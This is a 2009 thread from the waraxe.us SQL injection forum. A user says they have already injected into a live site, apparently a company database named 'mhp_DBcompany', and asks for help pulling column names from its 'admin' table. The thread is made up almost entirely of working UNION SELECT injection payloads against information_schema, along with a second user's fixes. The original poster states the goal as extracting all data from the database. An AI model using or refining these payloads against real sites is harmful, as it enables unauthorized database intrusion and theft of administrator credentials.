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www.waraxe.us Forum Index -> Sql injection -> Not retrieving columns
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Not retrieving columns
PostPosted: Sun Sep 13, 2009 8:58 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Well, I succeeded in this injection. But the problem is: I can't get the column names.

When I try:
Code:
id=6672+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14%20from%20information_schema.columns%20where%20table_name=%27admin%27%20limit%201,5/*


I get:
Code:
The used SELECT statements have a different number of columns.


So I tried

Code:
id=-1%20UNION%20SELECT%20NULL%20FROM%20admin%20LIMIT%200,1%20/*


But It keeps saying that the table doesn't exist.
Code:
Table 'mhp_DBcompany.admin' doesn't exist


It makes some time I dont deal with MySQL Injection, can't remember anything to do now. Any idea?:S Rolling Eyes
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PostPosted: Tue Sep 15, 2009 5:30 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




BUMP, Someone? Confused Confused
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Re: Not retrieving columns
PostPosted: Mon Oct 19, 2009 7:59 pm Reply with quote
Ghosttt
Beginner
Beginner
Joined: Sep 19, 2009
Posts: 1




delta wrote:


When I try:
Code:
id=6672+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14%20from%20information_schema.columns%20where%20table_name=%27admin%27%20limit%201,5/*


So I tried

Code:
id=-1%20UNION%20SELECT%20NULL%20FROM%20admin%20LIMIT%200,1%20/*



try this:
Code:

http://www.id=6672+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14 +from+information_schema.columns+where+table_name=admin--


or just

Code:
http://www.id=6672+union+select+1,2,3,4,5,6,7,8,9,10,column_name,12,13,14 from information_schema.columns where table_name=admin limit 1,5/*
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PostPosted: Wed Oct 21, 2009 7:16 pm Reply with quote
delta
Advanced user
Advanced user
Joined: Jan 11, 2009
Posts: 60




Hello Ghosttt, I already find out the problem.

The page is running 2 querys, so I can't get the columns visual feedback because keep getting wrong number of columns.
Use blind is not viable, since I want to extract all the data from database.

Is there any way to bypass even with 2 querys running?!
Waraxe, give me a light pls Laughing Laughing Rolling Eyes Rolling Eyes
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Not retrieving columns
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